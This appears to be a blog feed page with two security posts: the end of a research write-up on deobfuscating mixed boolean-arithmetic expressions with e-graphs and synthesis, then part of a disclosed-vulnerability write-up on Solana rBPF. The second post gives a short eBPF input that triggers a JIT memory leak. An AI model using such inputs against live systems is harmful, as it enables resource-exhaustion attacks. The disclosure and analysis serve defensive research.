da84000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*(y*(((x&y)*0xe7e257c000000000)+((x&(~y))*0x809e2c000000000))))+(((~x)^y)*(((x&y)*(y*0xcfc4af8000000000))+((y*0x181da84000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x181da84000000000*((x*y)-(0x2*((x&y)*y))))+((y*0x809e2c000000000)*((~x)^y))))+((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(x|(~y)))))+(((x&(~y))*(y*y))*((0xc0ed42000000000*(x&(~y)))+(((~x)^y)*0x181da84000000000))))+((((y*y)*(((((~x)^y)*((~x)^y))*0xc0ed42000000000)+(0x820278b000000000*(y*y))))+((((x&y)*(x&y))*(((y^x)*(((x&y)*0xd7bfc4c000000000)+((x&(~y))*0x78c0b1c000000000)))+(((y^x)*0x78c0b1c000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((y^x)*(((x&y)*0x873f4e4000000000)+((x&(~y))*0x28403b4000000000))))+(((~x)^y)*(((x&y)*((y^x)*0xe7e9c8000000000))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x78c0b1c000000000*((y^x)*((y^x)-y)))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((~y)*(((y^x)*0x873f4e4000000000)*y))+(((((x&y)*(x&y))*(((x*y)*(((x&y)*0xc39fa72000000000)+((x&(~y))*0xb5210aa000000000)))+(((x*y)*0xb5210aa000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x*y)*(((x&y)*0x4adef56000000000)+((x&(~y))*0x3c6058e000000000))))+(((~x)^y)*(((x&y)*((x*y)*0x95bdeac000000000))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x4adef56000000000*((x*y)*(y-(y^x))))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((~y)*(((x*y)*0x4adef56000000000)*y))+(((((x&y)*(x&y))*(((x|y)*(((x&y)*0xaf7f898000000000)+((x&(~y))*0xf181638000000000)))+(((x|y)*0xf181638000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x|y)*(((x&y)*0xe7e9c8000000000)+((x&(~y))*0x5080768000000000))))+(((~x)^y)*(((x&y)*((x|y)*0x1cfd390000000000))+(((x|y)*0xf181638000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0xe7e9c8000000000*((x|y)*(y-(y^x))))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((~y)*(((x|y)*0xe7e9c8000000000)*y))+(((((y^x)*(y^x))*0x6b02c22000000000)+((((x*y)*0x4108466000000000)*(y^x))+((((x*y)*(x*y))*0xb0c634c800000000)+((((x|y)*0xac0b088000000000)*(y^x))+((((x|y)*0x82108cc000000000)*(x*y))+((((x|y)*(x|y))*0xac0b088000000000)+((((y^x)*(y^x))*((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000)))+((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+((((x|y)*((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y))))+((((x|y)*(x|y))*(((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y))))+((((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+(((x|y)*0xb46a7de000000000)+((((y^x)*(y^x))*0x70402d7000000000)+(((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y))))+((((x|y)*0xc100b5c000000000)*(y^x))+(((x|y)*(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))+(0x3337c25800000000+(((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000)))+((((x*y)*(x*y))*((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000)))+(((((x|y)*0xf97d428000000000)*(x*y))*((y^x)+(x|y)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((((x*y)*((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))+(((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))+(((x*y)*0xed084eb000000003)+0x67c62228de18a6ae))+(((y^x)*(y^x))*0x24bd107000000000))))))))))))))))))+0x5bfeed000000000)))-(((x|y)*(((y^x)*0xfdd46b8000000000)+((x*y)*0xf97d428000000000)))*(y^x)))))))))))+(((x|y)*0x5080768000000000)*(y*(y*y))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))))))+(((y*(y*y))*0x809e2c000000000)*(~y))))))))))))
====================================================================================================
eclasses #: 3840
Synthesized (cost = 1217): (((x&y)*((0x820278b000000000*((x&y)*((x&y)*(x&y))))+(((x&(~y))*(x&(~y)))*(((x&y)*0xc0ed42000000000)+((x&(~y))*0xf7f61d4000000000)))))+(((((x&y)*((x&y)*(x&y)))*0xf7f61d4000000000)*(x|(~y)))+(((((x&(~y))*((x&(~y))*(x&(~y))))*((0x820278b000000000*(x&(~y)))+(((~x)^y)*0x809e2c000000000)))+((x&y)*(((((~x)^y)*0x181da84000000000)*(x&(~y)))*(y-(y^x)))))+(((((~x)^y)*((~x)^y))*((0xc0ed42000000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*(x&(~y)))*0xe7e257c000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*((0x809e2c000000000*((y^x)-y))+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*((y*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x181da84000000000)))+((y*0x181da84000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*(y*(((x&y)*0xe7e257c000000000)+((x&(~y))*0x809e2c000000000))))+(((~x)^y)*(((x&y)*(y*0xcfc4af8000000000))+((y*0x181da84000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x181da84000000000*(y*((y^x)-y)))+((y*0x809e2c000000000)*((~x)^y))))+((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(x|(~y)))))+(((x&(~y))*(y*y))*((0xc0ed42000000000*(x&(~y)))+(((~x)^y)*0x181da84000000000))))+((((y*y)*(((((~x)^y)*((~x)^y))*0xc0ed42000000000)+(0x820278b000000000*(y*y))))+((((x&y)*(x&y))*(((y^x)*(((x&y)*0xd7bfc4c000000000)+((x&(~y))*0x78c0b1c000000000)))+(((y^x)*0x78c0b1c000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((y^x)*(((x&y)*0x873f4e4000000000)+((x&(~y))*0x28403b4000000000))))+(((~x)^y)*(((x&y)*((y^x)*0xe7e9c8000000000))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x78c0b1c000000000*((y^x)*((y^x)-y)))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((~y)*(((y^x)*0x873f4e4000000000)*y))+(((((x&y)*(x&y))*(((x*y)*(((x&y)*0xc39fa72000000000)+((x&(~y))*0xb5210aa000000000)))+(((x*y)*0xb5210aa000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x*y)*(((x&y)*0x4adef56000000000)+((x&(~y))*0x3c6058e000000000))))+(((~x)^y)*(((x&y)*((x*y)*0x95bdeac000000000))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x4adef56000000000*((x*y)*(y-(y^x))))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((~y)*(((x*y)*0x4adef56000000000)*y))+(((((x&y)*(x&y))*(((x|y)*(((x&y)*0xaf7f898000000000)+((x&(~y))*0xf181638000000000)))+(((x|y)*0xf181638000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x|y)*(((x&y)*0xe7e9c8000000000)+((x&(~y))*0x5080768000000000))))+(((~x)^y)*(((x&y)*((x|y)*0x1cfd390000000000))+(((x|y)*0xf181638000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0xe7e9c8000000000*((x|y)*(y-(y^x))))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((~y)*(((x|y)*0xe7e9c8000000000)*y))+(((((y^x)*(y^x))*0x6b02c22000000000)+((((x*y)*0x4108466000000000)*(y^x))+((((x*y)*(x*y))*0xb0c634c800000000)+((((x|y)*0xac0b088000000000)*(y^x))+((((x|y)*0x82108cc000000000)*(x*y))+((((x|y)*(x|y))*0xac0b088000000000)+((((y^x)*(y^x))*((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000)))+((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+((((x|y)*((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y))))+((((x|y)*(x|y))*(((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y))))+((((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+(((x|y)*0xb46a7de000000000)+((((y^x)*(y^x))*0x70402d7000000000)+(((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y))))+((((x|y)*0xc100b5c000000000)*(y^x))+(((x|y)*(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))+(0x3337c25800000000+(((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000)))+((((x*y)*(x*y))*((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000)))+(((((x|y)*0xf97d428000000000)*(x*y))*((y^x)+(x|y)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((((x*y)*((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))+(((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))+(((x*y)*0xed084eb000000003)+0x67c62228de18a6ae))+(((y^x)*(y^x))*0x24bd107000000000))))))))))))))))))+0x5bfeed000000000)))-(((x|y)*(((y^x)*0xfdd46b8000000000)+((x*y)*0xf97d428000000000)))*(y^x)))))))))))+(((x|y)*0x5080768000000000)*(y*(y*y))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))))))+(((y*(y*y))*0x809e2c000000000)*(~y))))))))))))
====================================================================================================
eclasses #: 24289
Synthesized (cost = 391): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+((y^x)*((0x6b02c22000000000*(y^x))+((x*y)*0x4108466000000000))))+(((x*y)*((0xb0c634c800000000*(x*y))+((x|y)*0x82108cc000000000)))+((((x|y)*0xac0b088000000000)*((y^x)+(x|y)))+(((y^x)*((((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000))*(y^x))+((x|y)*(((y^x)*0x22b948000000000)+((x*y)*0x682bd8000000000)))))+(((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+0x5bfeed000000000)+(((((x|y)*(((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y)))+((((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y)))*(x|y))))+(((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000))))+((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y)))))+((((((y^x)*(y^x))*0x70402d7000000000)+((x|y)*(((y^x)*0xc100b5c000000000)+(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))))+((y^x)*0xdab01d3000000000))+(0x1077765721e75952+(((x*y)*0xc8082bc800000000)+(((((x|y)*0xb5603a6000000000)+(((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000))))+(((y^x)*(y^x))*0x24bd107000000000))+((((x*y)*((((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000))*(x*y))+(((y^x)+(x|y))*((x|y)*0xf97d428000000000))))+(((x|y)*(((((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y)))*(x|y))+(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))))))))))))))))))
====================================================================================================
eclasses #: 475200
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
e-graph reset done.
====================================================================================================
eclasses #: 161
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
====================================================================================================
eclasses #: 321
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
====================================================================================================
eclasses #: 896
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
====================================================================================================
eclasses #: 4225
Synthesized (cost = 153): (0x820278b000000000+((((((y^x)*0xd7bfc4c000000000)+((x*y)*0xc39fa72000000000))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))+(((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000))))+((0x6d8610f8de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))+(((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))))+((0x1077765721e75952+((y^x)*0xdab01d3000000000))+(((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000)))))
====================================================================================================
eclasses #: 41016
Synthesized (cost = 115): (((0x820278b000000000+((0xac0b088000000000*((y^x)+(x|y)))*(x|y)))+(((((((x|y)*0xaf7f898000000000)+((0x5bfeed000000000+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))+(0x5a353ef000000000*(y^x))))+(((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))+((((x|y)*0x92f441c000000000)+0xf35adf2000000002)*(y^x))))+0x67c62228de18a6ae)+(((0x1077765721e75952+((y^x)*0xdab01d3000000000))+((x*y)*0xc8082bc800000000))+((0xb5603a6000000000+(0xc100b5c000000000*((y^x)+(x|y))))*(x|y))))+(0xed084eb000000003*(x*y))))+(((y^x)*0xd7bfc4c000000000)+((x*y)*0xc39fa72000000000)))
====================================================================================================
eclasses #: 757557
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
e-graph reset done.
====================================================================================================
eclasses #: 80
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
====================================================================================================
eclasses #: 151
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
====================================================================================================
eclasses #: 347
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
====================================================================================================
eclasses #: 1045
Synthesized (cost = 41): (((((y^x)*0xca520e000000000)+((((0xb5603a6000000000*(x|y))+((x*y)*0xb5107a7800000003))+(0xe6b5be4000000004*(x|y)))+(0xf35adf2000000002*(y^x))))+((x|y)*0x63ea076000000000))+((x*y)*0x4aef858800000000))
====================================================================================================
eclasses #: 4864
Synthesized (cost = 29): ((((0x2*(y^x))+(((x|y)*0x9c15f8a000000004)+((x*y)*0xb5107a7800000003)))+((x|y)*0x63ea076000000000))+((x*y)*0x4aef858800000000))
====================================================================================================
eclasses #: 46118
Synthesized (cost = 27): ((((((x|y)*0x9c15f8a000000004)+(0x2*(x*y)))+(x*y))+((x|y)*0x63ea076000000000))+(0x2*(y^x)))
e-graph reset done.
====================================================================================================
eclasses #: 22
Synthesized (cost = 27): ((((((x|y)*0x9c15f8a000000004)+(0x2*(x*y)))+(x*y))+((x|y)*0x63ea076000000000))+(0x2*(y^x)))
====================================================================================================
eclasses #: 34
Synthesized (cost = 27): ((((((x|y)*0x9c15f8a000000004)+(0x2*(x*y)))+(x*y))+((x|y)*0x63ea076000000000))+(0x2*(y^x)))
====================================================================================================
eclasses #: 63
Synthesized (cost = 25): ((((0x2*(y^x))+((x|y)*0x63ea076000000000))+(y*(x+(0x2*x))))+((x|y)*0x9c15f8a000000004))
====================================================================================================
eclasses #: 130
Synthesized (cost = 17): (((0x2*(y^x))+((x|y)*0x4))+(0x3*(x*y)))
====================================================================================================

Limitations

The rewriting rules used in the minimal proof of concept already proved to be good candidates in many tests, but it is possible to observe expressions which have only been partially simplified when equality saturation and QSynthesis are being applied without any form of sub-expression normalization due to MBA-Blast. Similar issues can be noticed when expressions involving constants (in their pre-obfuscation form) are not processed with the constant oracle or via constant harvesting. The constant oracle itself is hindered by edge cases where the restriction to a smaller I/O bitwidth is not sufficient to obtain a small set of templates to be fed to CEGIS.

From an implementation point of view, the current Python script suffers from heavy performance issues when the e-graph size gets too large, therefore requiring early resets that are inevitably going to discard valuable information that could instead lead to better results. Crucial phases like the e-graph matching and the subsequent cost computation could be rewritten to use clever algorithms and aggressive caching.

Finally, a well known problem with the “quality” of the I/O samples is still present; in fact, they may not be sufficient to drive the synthesis in the right direction, leading to the insertion of wrong knowledge in the e-graph and, consequently, to wrong results. The problem can be contained enabling the formal verification of all the equivalences, at the cost of an additional slowdown.

Conclusion

The tip of the iceberg of what can be done when combining equality saturation and program synthesis has been barely scratched. Our feeling is that rewriting the proof of concept in a faster language and with better algorithms could lead to further improvements. On top of that, the following opportunities might be exciting future work:

  • Given one or more e-graphs grown during the synthesis process, a tool like Ruler could be used to infer the minimal set of rewriting rules originally computed to apply the MBA obfuscation.
  • One of the limitations hinted at in the MBA-Blast publication is determining which base is going to lead to the best results, so equality saturation could be employed to enrich the e-graph with sub-expressions simplified via a set of different basis and finally extract the minimal representation.
  • Find ways to reliably detect if an expression requires the constants oracle (slow), constants harvesting (medium) or just term rewriting (fast) to be fully synthesized could be beneficial for the performance.
  • Incremental learning has the desirable side effect of reducing the amount of e-classes in the e-graph, so less time is spent during cost computation, although the amount of e-nodes is not affected, meaning that during the matching phase a heavy slowdown is noticeable. Incremental matching or parallelization efforts could be viable paths to speed up the process.

The current Python PoC can be found on GitHub. It is a monolithic slow script that has just been used to experiment with the documented ideas and it will be properly rewritten in a faster language in the upcoming months.

Acknowledgements

  • Matteo Favaro and Tim Blazytko: Matteo and Tim researched the limitations of common MBA deobfuscation approaches and discussed methods to improve them, including the combination of QSynthesis with equality saturation. Matteo designed, implemented, evaluated and documented the attacks presented in the blog post. Tim provided useful insights, generated challenging MBA tests and helped in writing the post.

Additionally, we would like to thank:

  • Fabrizio Biondi, for the discussions about combining multiple techniques to drive the simplification efforts and on using the information inherently present in the structure of the obfuscated code.
  • Gianluca Pericoli, for galois_is_sexy and the time spent together generating MBAs and attacking their linear and polynomial representations.
  • Max Willsey et al., authors of egg: Fast and Extensible Equality Saturation, for providing a good understanding of the topic.
  • Duk, Duncan Ogilvie and Justas Masiulis for reviewing and improving the blog post.

Appendix

The rewriting rules used by the proof of concept follow. They are by no means complete and have just been empirically selected during the experiments.

(x * y)               ->   (y * x)
(x + y)               ->   (y + x)
(x & y)               ->   (y & x)
(x ^ y)               ->   (y ^ x)
(x | y)               ->   (y | x)
(x * (y * z))         ->   ((x * y) * z)
(x + (y + z))         ->   ((x + y) + z)
(x & (y & z))         ->   ((x & y) & z)
(x ^ (y ^ z))         ->   ((x ^ y) ^ z)
(x | (y | z))         ->   ((x | y) | z)
~(x * y)              ->   ((~x * y) + (y - 1))
~(x + y)              ->   (~x + (~y + 1))
~(x - y)              ->   (~x - (~y + 1))
~(x & y)              ->   (~x | ~y)
~(x ^ y)              ->   ((x & y) | ~(x | y))
~(x | y)              ->   (~x & ~y)
-(x * y)              ->   (-x * y)
(-x * y)              ->   -(x * y)
(x - y)               ->   (x + (-y))
(x + (-y))            ->   (x - y)
-x                    ->   (~x + 1)
(~x + 1)              ->   -x
((x + y) * z)         ->   ((x * z) + (y * z))
((x - y) * z)         ->   ((x * z) - (y * z))
((x * y) + (x * z))   ->   (x * (y + z))
((x * y) - (x * z))   ->   (x * (y - z))
((x * y) + y)         ->   ((x + 1) * y)
(x + x)               ->   (2 * x)
-(x + y)              ->   ((-x) + (-y))

Earn $200K by fuzzing for a weekend: Part 2

By: addison
11 May 2022 at 08:00

Below are the writeups for two vulnerabilities I discovered in Solana rBPF, a self-described “Rust virtual machine and JIT compiler for eBPF programs”. These vulnerabilities were responsibly disclosed according to Solana’s Security Policy and I have permission from the engineers and from the Solana Head of Business Development to publish these vulnerabilities as shown below.

In part 1, I discussed the development of the fuzzers. Here, I will discuss the vulnerabilities as I discovered them and the process of reporting them to Solana.

Bug 1: Resource exhaustion

The first bug I reported to Solana was exceptionally tricky; it only occurs in highly specific circumstances, and the fact that the fuzzer discovered it at all is a testament to the incredible complexity of inputs a fuzzer can discover through repeated trials. The relevant crash was found in approximately two hours of fuzzer start.

Initial Investigation

The input that triggered the crash disassembles to the following assembly:

entrypoint:
  r0 = r0 + 255
  if r0 <= 8355838 goto -2
  r9 = r3 >> 3
  call -1

For whatever reason, this particular set of instructions causes a memory leak.

When executed, this program does the following steps, roughly:

  1. increase r0 (which starts at 0) by 255
  2. jump back to the previous instruction if r0 is less than or equal to 8355838
    • this, in tandem with the first step, will cause the loop to execute 32767 times (a total of 65534 instructions)
  3. set r9 to r3 * 2^3, which is going to be zero because r3 starts at zero
  4. calls a nonexistent function
    • the nonexistent function should trigger an unknown symbol error

What stood out to me about this particular test case is how incredibly specific it was; varying the addition of 255 or 8355838 by even a small amount caused the leak to disappear. It was then I remembered the following line from my fuzzer:

let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };

remaining, here, refers to the number of instructions remaining before the program is forceably terminated. As a result, the leaking program was running out this meter at exactly the call instruction.

A faulty optimisation

There is a wall of text at line 420 of jit.rs which suitably describes an optimisation that Solana applied in order to reduce the frequency at which they need to update the instruction meter.

The short version is that they only update or check the instruction meter when they reach the end of a block or a call in order to reduce the amount of times they update and check the meter. This optimisation is totally reasonable; we don’t care if we run out of instructions at the middle of a block because the subsequent instructions are still “safe”, and if we ever hit an exit that’s the end of a block anyway. In other words, this optimisation should have no effect on the final state of the program.

The issue can be seen in the patch for the vulnerability, where the maintainer moved line 1279 to line 1275. To understand why that’s relevant, let’s walk through our execution again:

  1. increase r0 (which starts at 0) by 255
  2. jump back to the previous instruction if r0 is less than or equal to 8355838
    • this, in tandem with the first step, will cause the loop to execute 32767 times (a total of 65534 instructions)
    • our meter updates here
  3. set r9 to r3 * 2^3, which is going to be zero because r3 starts at zero
  4. calls a nonexistent function
    • the nonexistent function should trigger an unknown symbol error, but that doesn’t happen because our meter updates here and emits a max instructions exceeded error

However, based on the original order of the instructions, what happens in the call is the following:

  1. invoke the call, which fails because the symbol is unresolved
  2. to report the unresolved symbol, we invoke that report_unresolved_symbol function, which returns the name of the symbol invoked (or “Unknown”) in a heap-allocated string
  3. the pc is updated
  4. the instruction count is validated, which overwrites the unresolved symbol error and terminates execution

